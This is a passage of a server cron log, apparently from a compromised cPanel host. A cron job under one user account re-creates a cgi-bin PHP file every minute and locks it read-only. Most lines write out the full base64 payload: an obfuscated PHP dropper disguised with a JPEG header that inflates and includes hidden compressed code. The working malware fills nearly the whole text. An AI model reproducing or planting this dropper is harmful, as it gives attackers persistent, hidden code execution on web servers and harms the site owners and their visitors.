"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:58:01 server CROND[30362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:59:01 server CROND[30527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:00:01 server CROND[30591]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 13:00:01 server CROND[30592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:00:01 server CROND[30593]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 13:00:01 server CROND[30594]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 13:01:02 server CROND[30725]: (root) CMD (run-parts /etc/cron.hourly)
Apr  6 13:01:02 server CROND[30726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:01:02 server run-parts(/etc/cron.hourly)[30725]: starting 0anacron
Apr  6 13:01:02 server run-parts(/etc/cron.hourly)[30738]: finished 0anacron
Apr  6 13:02:01 server CROND[30800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:03:01 server CROND[30856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:04:01 server CROND[31014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:05:01 server CROND[31070]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 13:05:01 server CROND[31071]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 13:05:01 server CROND[31072]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 13:05:01 server CROND[31073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:06:01 server CROND[31182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:07:01 server CROND[31250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:08:01 server CROND[31322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:09:01 server CROND[31536]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 13:09:01 server CROND[31537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:10:01 server CROND[31594]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 13:10:01 server CROND[31595]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 13:10:01 server CROND[31596]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 13:10:01 server CROND[31597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJH